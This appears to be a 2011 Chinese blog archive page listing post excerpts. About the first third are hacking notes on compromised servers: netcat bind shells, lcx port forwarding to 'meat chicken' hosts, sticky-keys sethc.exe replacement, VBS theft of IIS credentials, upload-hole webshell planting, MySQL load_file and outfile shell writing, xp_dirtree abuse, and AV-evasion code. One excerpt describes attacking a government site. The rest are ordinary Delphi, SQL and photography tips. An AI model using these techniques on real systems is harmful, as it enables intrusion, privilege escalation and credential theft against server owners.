05 2011 档案
摘要:/*————————————————————————————————*///过360云查杀的代码void RaiseToDebugP(){HANDLE hToken;HANDLE hProcess = GetCurrentProcess();if ( OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) ){ TOKEN_PRIVILEGES tkp; if ( LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].
阅读全文
摘要:环境说明: Server-U 不可利用 pcAnywhere没有安装提权思路: 上传NC,进行反弹连接。命令说明:nc -l -p 110 -t -e c:\winnt\system32\cmd.exe-l 监听本地入栈信息-p port 打开本地端口-t 以telnet形式应答入栈请求-e 程序重定向C:\RECYCLER\cmd.exeC:\RECYCLER\nc -l -p 110 -t -e c:\winnt\system32\cmd.exeC:\RECYCLER\nc -l -p 110 -t -e C:\RECYCLER\cmd.exe接下来留给我们的空间就比较充足了,我们可以添加
阅读全文
摘要:lcx.exe的使用方法以前抓肉鸡都是通过1433弱口令,然后..但是发现很多服务器开了1433,3389,但是终端是连不上的,因为服务器本身是在内网,只对外开放了1433端口,幸好有lcx.exe这个东西,用sqltools.exe传倒服务器上...lcx.exe是个端口转发工具,相当于把肉鸡A上的3389端口转发到B机上,当然这个B机必须有外网IP.这样链接B机的3389度端口就相当于链接A机的3389.用法:如在本机B上监听-listen513389,在肉鸡A上运行-slave本机ip51肉鸡ip3389那么在本地连127.0.0.1就可以连肉鸡的3389.第二条是本机转向。例:现在有一
阅读全文
摘要:今晚在搞http://gov.com.im/的时候拿下旁站权限,但不能夸到目标站的目录下,眼看目标就在眼前却被最后一道关卡给卡死了。之前也有尝试过pr提权,单asp一执行pr就卡死了。。 无奈之下找了群里龙儿心一起来研究,龙儿心经验不错,到shell上立马就搞定了目标站的路径,获取IIS网站路劲和其他基本信息也是使用一个VBS脚本搞定的,这个在我blog中有一个文章帖出来代码。这里我将就再帖下,并说明用法!Set ObjService=GetObject("IIS://LocalHost/W3SVC") For Each obj3w In objservice If IsN
阅读全文
摘要:由校园网CMS系统(xyadmin)上传漏洞想到的2009-09-27 04:27校园网CMS系统(xyadmin)上传漏洞 google关键字:inurl:xyadmin 我们的工具还是g.cn google hack 我们随便点一个连接看看 这个是上传页面xyadmin/situjiaduotu.asp?formname=baseinfoform&editname=logol&uppath=baseinfo&filelx=.swf.gif.jpg 传马拿shell xyadmin是校园的缩写 那么其他的如xxadmin可否呢? http://rnx.tjuci.ed
阅读全文
摘要:摄影技术的提升是经验的积累,借鉴前人的知识和技巧能够快速提高我们的照片拍摄水平。在胶片时代,经无数摄影师的经验积累汇聚,形成了十二条简化操作、最实用的摄影技巧。这些简化的摄影技巧,将帮助你应对很多难以掌控的拍摄场景。1.阳光十六法则 对于风景摄影而言,过分依靠相机的测光结果往往不能得到最佳的拍摄效果。比如场景中存在大面积暗色景物时,相机的测光系统会增加曝光量,得到的照片效果呈现过曝的效果,天空变成惨白一片,没有任何细节。 这时如果采用“阳光十六法则”,就不会出现这种情况。阳光的照射强度是相对固定的,在阳光照射充足的室外,将相机的光圈设定为f16、快门速度为 1/125秒(iso为100的前提下
阅读全文
摘要:摄影模式主要有4种:1、全手动曝光;2、全自动曝光;3、光圈优先;4、快门优先 一、全手动曝光需要以下设置: 1、光圈 光圈值用f表示,如佳能 EF-S 18-55mm f3.5-5.6 IS f值越小,光圈越大,光线越多,景深越小(清晰部分小) f值越大,光圈越小,光线越少,景深越大(清晰部分大) 大光圈适合微距拍摄,小光圈适合风景拍摄。 景深除与光圈有关外,还与焦距和拍摄距离相关 焦距越长,景深越小;拍摄距离越近,景深越小 2、快门 快门与光圈配合,用来调节曝光量 快门越快,时间越短,光量越少;可以凝固运动物体瞬间 快门越慢,时间越长,光量越多;可使运动物体虚化成线 1/125秒可抓拍到行
阅读全文
摘要:Mssql:<!–#include file=”conn.asp”–><%hid=request.QueryString(“id”)sql=”select * from admin where id=”&hidset rs=conn.execute (sql)%>Access:<%db=”aspzhuru.mdb”‘这里修改数据库路径或名称Set conn = Server.CreateObject(“ADODB.Connection”)dbpath=”Provider=Microsoft.Jet.OLEDB.4.0;Data Source=” &
阅读全文
摘要:把下面保存成 Test.php <? $mysql_server_name = "localhost"; $mysql_username = "root"; $mysql_password = "password"; $mysql_database = "phpzr"; //??ݿ?? $conn=mysql_connect( $mysql_server_name, $mysql_username, $mysql_password ); mysql_select_db($mysql_database,$con
阅读全文
摘要:quote site exec "cacls.exe d: /e /t /g everyone:F" #把d盘设置为everyone可以浏览这样一会导出文件放D盘就可以下载了... quote site exec "regedit -e D:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip" #导出注册表里关于TCP/IP筛选的第一处 (-e D:\1.reg 导出后放在D盘下,文件1.reg) quote site exec "regedit -e D:\2.reg H
阅读全文
摘要:可以执行CMD时候 1.A:将远控的后缀改为.tmp,然后上传上去~! B:将该远控传上去。C:用命令start e:/admin/admin.tmp,然后等着木马上线~! 2.替换服务 提权shift键 A:在CMD下执行一下命令: copy c:\windows\explorer.exe c:\windows\system32\sethc.exe copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe B:链接远程桌面,然后连续按5次shift键,就可以浏览C盘了~!然后C盘windows里面TSa
阅读全文
摘要:找终端: 第一步: Tasklist/SVC 列出所有进程,系统服务及其对应的PID值! 而终端所对应的服务名为:TermService 第二步:用netstat -ano命令,列出所有端口对应的PID值! 找到PID值所对应的端口1.通用方法regedit /e c:\3389.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"type c:\3389.reg | find "PortNumber"del c:\338
阅读全文
摘要:此版本集成了更多的1433服务器恢复提权命令功能,对于目前sa口令许多的功能限制能有效的恢复.如果此版本不能恢复的,建议可以考虑放弃该服务器的提权.版权为原作者所有,特此声明命令集成功能说明:查看系统信息systeminfo查看系统终端端口状况REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server\WinStations\RDP-Tcp /v PortNumber开启系统终端端口REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDen
阅读全文
摘要:能读取到iis用户和密码,对跨站或者提权是有帮助的!像星外的虚拟主机。有时候exe无法运行或者被杀毒软件K的话用VBS试试。挺简单的代码。代码如下:Set ObjService=GetObject("IIS://LocalHost/W3SVC") For Each obj3w In objservice childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"") if IsNumeric(childObjectName)=true then set IIs=objservice.Get
阅读全文
摘要:拿下一个网站的账号密码。进了后台后发现有备份。高兴ing上传一个JPG格式的马儿。找到路径。备份确出现了满以为会想其他站一样的成功,因为在通常情况下asa解析出来和asp差不多。确不然,因为网站再设置的时候删除了asa cer 等其他映射,只保留了html和asp的映射,但是这里确将备份文件后缀改为asa,这时候访问的时候是不会出现常见的黑屏(后门马儿)。怎么突破了,在网上也没找到资料。于是自己研究了下,保留了ASP映射,那么就只能使其为asp后缀才能解析。那该怎么不要这个ASA了。于是想到了#号,因为在URL中会自动去掉#以后的保留前面的地址。于是一个方法产生鸟。1,上传jpg格式的马儿。2
阅读全文
摘要:察看基本情况:info:xx.com 返回一些基本信息site:xx.com 返回所有与该有关的urllink:xx.com 返回所有与该站做了连接的站site:xx.com filetype:txt 查找TXT文件 其他的依次内推查找后台site:xx.com intext:管理site:xx.com inurl:loginsite:xx.com intitle:后台查看服务器使用的程序site:xx.com filetype:aspsite:xx.com filetype:phpsite:xx.com filetype:jspsite:xx.com filetype:aspx查看上传漏洞:
阅读全文
摘要:之前提到过Google Hack,一篇是:Google hack 之精简部分另外一篇是:Google Hacking的实现以及应用这里更新几个新的Google Hack技巧1.phonebook:+英文姓名作用:搜索电话号码簿,将会返回美国人姓名街道地址和电话号码列表,均真实,对需要大量美国地址的朋友很有用,只要是英文姓名都能找到。例:phonebook:tom另外还有两个小分类:rphonebook:仅搜索住宅用户电话号码簿;bphonebook:仅搜索商业的电话号码簿。2.cache:+网址作用:打开google对该网址的缓存页,很多被删掉的文章或网站,只要知道链接就可以用这种方法打开,但
阅读全文
摘要:这几天比较背,碰上的所有服务器都用了windows的安全策略,比如3389与1433只对特定的ip可以访问。就算搞定了同网段的机器,也没法连接或者扫到一些信息。arp欺骗就算搞到了3389密码,也没法的登陆呢。结合群里面的讨论与hsren的交流,打算下一步大概要实现以下目标:目标a计算机,有ipsec策略限制,对ip为b的才能连接。假设已经搞定了a同网段的c机器,现在我的机器ip为d。实现d可以连接a。正常的ip通信是: b->c->a ,返回是a->c->b。那么只要在实施arp欺骗的机器c上,在c->a这步将ip包的源地址改成d的,反过来a回复的时候,将目的地
阅读全文
摘要:针对MYSQL数据注入时用到的 load_file()函数对其文件查看的相关路径: 1、 replace(load_file(0x2F6574632F706173737764),0x3c,0x20)2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 < 替换成空格 返回的是网页.而无法查看到代码.3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录4、/etc/h
阅读全文
摘要:入侵假想: 目标是A站点,安全性比较可以。但是在同服务器下的B站点,我们发现了一个Mysql 注入点,并且还有查询相关库的权限。 那么,我们就可以通过B站点的注入点跨库查询A站点的信息,入侵之….. (当然你也可以把B站点入侵了,再入侵A。但不是有注入点就可以入侵的,偶?跑题了。) 大家知道在mysql5.0以后加入了 information_schemata 这个虚拟库,基本结构如下: Information_schema-------| Schemata 存放数据库信息的表 | Tables 存放数据库中表信息的表 | Columns 存放数据库中列信息的表 …………………………………..
阅读全文
摘要:PHP+MySQL JSP+MySQL 一.基础知识 1.MYSQL的版本 4.0以下,4.0以上,5.0以上。 4.0以下不支持union查询 4.0以上magic_quotes_gpc默认为on 5.0以上可以暴表暴列,支持跨库 2.magic_quotes_gpc=on 当php.ini里的 magic_quotes_gpc 为On 时。提交的变量中所有的 ' (单引号), " (双引号), \(反斜线) and 空字符会自动转为含有反斜线的转义字符。例如'会变成\'。给注入带来不少的阻碍。 3.注释符 Mysql有3种注释句法 # 注射掉注释符后面的本
阅读全文
摘要:mysql多语句执行下不用单引号outfile写shellmysql> use xssdb;Database changedmysql> set @a=0x73656C656374203078334333463730363837303230343036353736363136433238323435463530344635333534354232373633364436343237354432393342334633452066726F6D20787373206C696D6974203120696E746F206F757466696C652027433A2F7368656C6C2E
阅读全文
摘要:好,我们exec master..xp_dirtree'd:/test'假设我们在test里有两个文件夹test1和test2在test1里又有test3结果显示subdirectory depthtest1 1test3 2test2 1哈哈发现没有那个depth就是目录的级数ok了,知道怎么办了吧http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)-- http://www.xxxxx.com/down/list.asp?id=1;insert dirs e
阅读全文
摘要:首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:程序代码<!--#include file="xx.asp"--><%set rs=server.createobject("ADODB.recordset")id = request("id")strSQL = &quo
阅读全文
摘要:编写Delphi应用程序时,经常会遇到一些ActiveX控件[注:扩展名为OCX的控件或DLL的类型库],它们为应用程序的开发提供了简单的操作途径。然而,这些程序在发布的同时,面临ActiveX控件注册问题。解决途径:一、用安装程序制作打包文件,往往会给增加程序本身的大小,系统重装时,则必须重新安装它;二、用程序本身进行代码编写函数的形式处理它。使用方法分为两种:一、直接把可视化的ActiveX控件放到程序中;二、运行时根据需要实时建立。如果是直接使用,则应用程序在初始化的过程中会自动寻找、创建所需的ActiveX控件,如果控件没有注册,初始化程序会产生一个异常,捕捉并处理这个异常。在程序Fo
阅读全文
摘要:这里为读者提供一些实用的开发技巧和某些常见问题的解决途径。很多程序设计人员都有这样的体会,那就是往往自己冥思苦想某个问题的时候,旁人的一句点拨就可以拨云见日,灵感突现。因此下面以FAQ的形式列举了在开发过程中可能会遇到的问题,以飨读者。1.1 关于Delphi的BDEDelphi操作数据库主要是利用BDE来进行。BDE是基于32位Windows内核的数据库引擎和连接工具,支持现有的大多数数据库。它具有如下一些特点:1. 为多种数据库格式提供统一的应用程序接口,包括任何ODBC数据源。2. 适应C/S数据库应用的开发,程序设计人员可以访问所有本地和服务端的数据,并且很容易实现应用的向上兼容性。3
阅读全文
摘要:unit Unit1;interfaceuses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;type TForm1 = class(TForm) Label3: TLabel; label1: TLabel; Label2: TLabel; Labname: TLabel; Labhp: TLabel; Labmp: TLabel; Button1: TButton; Label4: TLabel; Lablevel: TLabel; procedur
阅读全文
摘要:Socket服务端编程中最重要的也是最难处理的工作便是客户请求的处理和数据的接收和发送,如果每一个Socket服务器应用程序的开发都要从头到尾处理这些事情的话,人将会很累,也会浪费大量时间。试想,如果有一个通用的程序把客户请求处理和数据的接收、发送都处理好了,程序员只需要在不同的应用中对接收到的数据进行不同的解析并生成返回的数据包,再由这个通用程序将数据包传回客户端,这样,程序设计的工作将会轻松许多。 用Delphi进行过三层数据库应用开发的程序员一定对Borland公司的Borland Socket Server(ScktSrvr.exe)不陌生。这是一个典型的Socket服务器程序,认真读
阅读全文
摘要:一、WSAStartup函数int WSAStartup(WORD wVersionRequested, LPWSADATA lpWSAData );使用Socket的程序在使用Socket之前必须调用WSAStartup函数。该函数的第一个参数指明程序请求使用的Socket版本,其中高位字节指明副版本、低位字节指明主版本;操作系统利用第二个参数返回请求的Socket的版本信息。当一个应用程序调用WSAStartup函数时,操作系统根据请求的Socket版本来搜索相应的Socket库,然后绑定找到的Socket库到该应用程序中。以后应用程序就可以调用所请求的Socket库中的其它Socket函
阅读全文
摘要:function GetBiHua(chnstr:string):integer;constBiHuaTable=#10#7#10#10#8#10#9#11#17#14#13#5#13#10#12#15+#10#6#10#9#12#8#10#10#8#8#10#5#10#14#16#9+#12#12#15#15#7#10#5#5#7#10#2#9#4#8#12#13+#7#10#7#21#10#8#5#9#6#13#8#8#9#13#12#10+#13#7#10#10#8#8#7#8#7#19#5#4#8#6#9#10+#14#14#9#12#15#10#15#12#12#8#9#5#15#1
阅读全文
摘要:消息,就是指Windows发出的一个通知,告诉应用程序某个事情发生了。例如,单击鼠标、改变窗口尺寸、按下键盘上的一个键都会使Windows发送一个消息给应用程序。消息本身是作为一个记录传递给应用程序的,这个记录中包含了消息的类型以及其他信息。例如,对于单击鼠标所产生的消息来说,这个记录中包含了单击鼠标时的坐标。这个记录类型叫做TMsg,它在Windows单元中是这样声明的:typeTMsg = packed recordhwnd: HWND; / /窗口句柄message: UINT; / /消息常量标识符wParam: WPARAM ; // 32位消息的特定附加信息lParam: LPAR
阅读全文
摘要:{=========================================================================功 能: 网络函数库时 间: 2002/10/02版 本: 1.0=========================================================================}unit Net;interfaceusesSysUtils,Windows,dialogs,winsock,Classes,ComObj,WinInet;//得到本机的局域网Ip地址Function GetLocalIp(var Loc
阅读全文
摘要:ClientDataSet组件支持很多特性,其中一些与三级结构有关,而且还可以用在其他环境中。该组件说明了一个数据库完全映象在内存中,这使得可以进行动态的操作,如建立一个索引,其他数据集合通常不支持该特性。例如,为了对查询分类,我们通常是重新执行它。为了索引一个局部表格,需要定义索引。只有ADO数据集合有一些与ClientDataSet一样的动态索引功能。索引并不是ClientDataSet提供的全部功能。当我们拥有了索引之后,可以基于它定义组,可能是多级别的分组。对于确定一个记录在组中的位置(头、尾或中间位置),甚至有专门的支持。在组或整个数据表格中,我们可以定义总计;也就是说,可以动态计算
阅读全文
摘要:在Dephi中提供了一个抽象的数据类型TStream来支持对流式数据的操作。这些数据通常来自文件、数据库、内存对象、OLE对象等,TStream提供了统一、简洁的方法来进行数据的读写。在通常情况下,我们并不需要直接使用TStream类,对流式数据的读写封装在VCL控件的方法中。但是如果这些方法无法满足我们的要求,就需要自己手动控制数据的读写。 一、 TStream的常用的方法和属性:1. function Read(var Buffer; Count: Longint): Longint; virtual; abstract 2. function Write(const Buffer; Co
阅读全文
摘要:这应该不算是什么技巧,估计有数据库方面程序的DELPHI程序员都知道;本来没有写想到需要把它写成一篇贴子,但前不久看个别刚入门的兄弟的代码时。才发展他们还在刀耕火种,为此才想把它写出来算是对入门的兄弟们的一点帮助,让大侠们见笑了; 我们都知道TCLIENTDATASET有把对它其中的数据所做的修改记录下来的功能;如果需要还可以将 修改回复到以前的某个状态,而且结合DATASETPROVIDER还可能自动完成改动到SQL映射,将改动成批提交到数据库中 这个特性对于写数据库程序来说非常有用。其实我所说的保存CLIENTDATASET的数据也是利用这个特性来实现的; 代码很简单:unit uCDSS
阅读全文
摘要:随着“金盾工程”建设的逐步深入和公安信息化的高速发展,公安计算机应用系统被广泛应用在各警种、各部门。与此同时,应用系统体系的核心、系统数据的存放地――数据库也随着实际应用而急剧膨胀,一些大规模的系统,如人口系统的数据甚至超过了1000万条,可谓海量。那么,如何实现快速地从这些超大容量的数据库中提取数据(查询)、分析、统计以及提取数据后进行数据分页已成为各地系统管理员和数据库管理员亟待解决的难题。在以下的文章中,我将以“办公自动化”系统为例,探讨如何在有着1000万条数据的MS SQL SERVER数据库中实现快速的数据提取和数据分页。以下代码说明了我们实例中数据库的“红头文件”一表的部分数据结
阅读全文
摘要:procedure OBDCDelete(ODBCName:string);var registerTemp:TRegistry;begin registerTemp := TRegistry.Create; with registerTemp do begin try RootKey:=HKEY_LOCAL_MACHINE; if OpenKey('Software\ODBC\ODBC.INI\ODBC Data Sources',True) then begin //注册一个DSN名称 DeleteValue(ODBCName); end ; closeKey; regis
阅读全文
摘要:unit WLFtp; interface uses Windows, Messages, Variants,SysUtils, Classes, Wininet, Dialogs; type TWLFtp = class(TObject) private FInetHandle: HInternet; // 句柄 FFtpHandle: HInternet; // 句柄 FHost: string; // 主机IP地址 FUserName: string; // 用户名 FPassword: string; // 密码 FPort: integer; // 端口 FCurrentDir: s
阅读全文
摘要:此方法不适用于9x系统我们知道在NT及以上操作系统提供了一个函数VirtualAllocEx,利用这个函数我们可以在其它进程中申请一块内存,其定义如下function VirtualAllocEx(hProcess: THandle; lpAddress: Pointer; dwSize, flAllocationType: DWORD; flProtect: DWORD): Pointer; stdcall;其中hProcess为要申请内存的进程的句柄,可以用如下方法得到指定的窗口所属的进程的进程句柄.Function GetProcessHandle: THandle;varWndHand
阅读全文
摘要:由于组件提供的方式不同,所以安装的方法也是不一样的,下面就目前常见的各种形式的组件的安装方法介绍一下。 1只有一个DCU文件的组件。DCU文件是编译好的单元文件,这样的组件是作者不想把源码公布。一般来说,作者必须说明此组件适合Delphi的哪种版本,如果版本不对,在安装时就会出现错误。也正是因为没有源码,给使用者带来了不便,那就是一旦Delphi版本升级,此组件就不能再使用了,当然有的作者给出了几种版本的DCU文件,用户根据需要选择使用。这样的组件的安装方法是:在Component菜单中,选择install component,在对话框中的"into existing package
阅读全文
摘要:近日做的程式需要取得字符点阵数据的功能,研究了一下,费了点周折才成功,现将方法总结如下。 取得字符点阵主要用GetGlyphOutline函数:DWORD GetGlyphOutline( UINT nChar, UINT nFormat, LPGLYPHMETRICS lpgm, DWORD cbBuffer, LPVOID lpBuffer, const MAT2 FAR* lpmat2 )他需要类型为GLYPHMETRICS、MAT2的变量;MAT2 结构要手动填充, GLYPHMETRICS结构则由GetGlyphOutline填充;GLYPHMETRICS包含了点阵数据的一些有用的信
阅读全文
摘要:通常,你需要获得当前日期和计算一些其他的日期,例如,你的程序可能需要判断一个月的第一天或者最后一天。你们大部分人大概都知道怎样把日期进行分割(年、月、日等),然后仅仅用分割出来的年、月、日等放在几个函数中计算出自己所需要的日期!在这篇文章里,我将告诉你如何使用DATEADD和DATEDIFF函数来计算出在你的程序中可能你要用到的一些不同日期。 在使用本文中的例子之前,你必须注意以下的问题。大部分可能不是所有例子在不同的机器上执行的结果可能不一样,这完全由哪一天是一个星期的第一天这个设置决定。第一天(DATEFIRST)设定决定了你的系统使用哪一天作为一周的第一天。所有以下的例子都是以星期天作为
阅读全文
摘要://-----下面是一个支持任意表的 SQL SERVER2000分页存储过程//----分页存储过程开始创建-----------------------------------------------------------------------------------------------------------IF EXISTS (SELECT name FROM sysobjects WHERE name = 'PageShowOne' AND type = 'P') DROP PROCEDURE PageShowOneGOCREATE Proc
阅读全文
摘要:unit Fuck_CAD_Unit;interfaceuses Windows, TLHelp32,SysUtils;const MyKernel='SnowmanLockScreenHook.Dll'; //释放完得文件名,可以自己改 Winlogon='winlogon.exe'; MyKernelSize=9216; MyKernelBuf:Array [0..9215] of Byte = ( $4D,$5A,$50,$00,$02,$00,$00,$00,$04,$00,$0F,$00,$FF,$FF,$00,$00, $B8,$00,$00,$00
阅读全文
摘要:把主菜单作以下调整:OnMeasureItem指向MeasureMainItem、OnAdvancedDrawItem指向DrawMainItem,子菜单的OnMeasureItem指向MeasureSubItem、OnAdvancedDrawItem指向DrawSubItem,调整颜色或使用默认颜色即可达到效果//调整主菜单项尺寸procedure TForm1.MeasureMainItem(Sender: TObject; ACanvas: TCanvas; var Width, Height: Integer);begin Width := Width + 6; Height := H
阅读全文
摘要:越来越多的程序使用了多国语言切换,虽然Delphi自带多语言包的添加和配置,但是那种方法在切换语言时界面会出现闪烁,而且实现起来很麻烦,这里我介绍给大家的是利用INI文件来读取界面的语种文字,用这种方法,不但简单易行,而且在切换的时候不会出现界面的闪烁。我们从一个例子出发,看看怎么实现语言的切换。首先建立一个新工程。放置如下组件:(如图) MainMenu1: TMainMenu; File1: TMenuItem; Exit1: TMenuItem; Label1: TLabel; Button1: TButton; CheckBox1: TCheckBox; CheckBox2: TChe
阅读全文
摘要:数说明:f文件名、s写入或读取的文件内容、hs文件头、b是否读写文件头。UTF-8文件写入函数程序代码 程序代码procedureSaveUTF(f:string;s:string;b:boolean=true);varms:TMemoryStream;hs:String;beginifs=''thenexit;ms:=TMemoryStream.Create;ifbthenbegin hs:=#$EF#$BB#$BF; ms.Write(hs[1],3);end;s:=AnsiToUtf8(s);ms.Write(s[1],Length(s));ms.Position:=0;
阅读全文
摘要:问题的提出最近要编写一个考试系统,使得考生能自主地取得试卷并进入考试,考试期间系统自动计时并在考试结束后自动回卷到服务器。取卷、回卷功能都已实现,但在整个考试过程中能成功地准确计时,必须使得程序不在中途被关闭掉。退一步来说,即使程序中途被关闭,也要自动地重新起动,并以之前已保存的时间记录继续工作。解决的思路对于这种监控用的程序除了程序的交互界面要做得不能让用户退出外,更应该注意到用户使用诸如“任务管理器”等“暴力”的手段来终止程序。而对付这种终止程序的方法一般来说有以下两种方法:第一种方法,把监控程序的进程伪装起来。例如把进程的名称改为与系统进程相仿的名字,让用户不敢终止或忽略这个进程,更甚者
阅读全文
摘要:1. 枚举局域网内所有的SQLSERVER实例 函数: function GetAllServerInstances :TStringList; var oApplication , oSeverNameList : Variant ; i : integer ; sNameList : TStringList ; begin sNameList := TStringList.Create ; oApplication := CreateOLEObject ('SQLDMO.Application') ; oSeverNameList := oApplication.ListA
阅读全文
摘要:delphi实现延时的方法,很多人首先就想到用timer控件,这里我们不用timer控件看如何来实现? 首先介绍一下settimer函数的使用: 例如:settimer(self.handle,0,1000,@timerfun); 参数依次为: 1.调用函数的handle,windows会定时发送WM_TIMER消息给此handle 2.timer的标识,可设置为0 3.定时器的值,单位是毫秒 4.回调函数 //回调函数:当定时器到点后,就会调用该函数,该函数的格式有一定的讲究,可以参照以下写: procedure timerfun(handle:Thandle;msg:word;idente
阅读全文
摘要:1。MouseMove事件中加入:// ReleaseCapture;// Perform(WM_SYSCOMMAND, $F017, 0);2.MouseDown事件中加入:// POSTMESSAGE(Self.Handle,WM_LBUTTONUP,0,0);// POSTMESSAGE(Self.Handle,274,61458,0);3.MouseDown事件中加入:// ReleaseCapture;// Perform(WM_SYSCOMMAND, $F012, 0);4.截获WM_NCHITTEST消息procedure WMNCHITTEST(var Msg:TWMNCHIT
阅读全文
摘要:procedure TForm1.FormCreate(Sender: TObject);var ExSty:DWORD;begin ExSty:=GetWindowLong(Handle,GWL_EXSTYLE); ExSty:=ExSty or WS_EX_TRANSPARENT or WS_EX_LAYERED; SetWindowLong(Handle,GWL_EXSTYLE,ExSty); SetLayeredWindowAttributes(Handle,cardinal(clBtnFace),125,LWA_ALPHA); MoveWindow(Handle,Screen.Wid
阅读全文
摘要://TStringList 常用方法与属性:var List: TStringList; i: Integer;begin List := TStringList.Create; List.Add('Strings1'); {添加} List.Add('Strings2'); List.Exchange(0,1); {置换} List.Insert(0,'Strings3'); {插入} i := List.IndexOf('Strings1'); {第一次出现的位置} List.Sort; {排序} List.Sorted :=
阅读全文
摘要://TStringList 常用方法与属性:varList: TStringList;i: Integer;beginList := TStringList.Create;List.Add('Strings1'); {添加}List.Add('Strings2');List.Exchange(0,1); {置换}List.Insert(0,'Strings3'); {插入}i := List.IndexOf('Strings1'); {第一次出现的位置}List.Sort; {排序}List.Sorted := True; {指定
阅读全文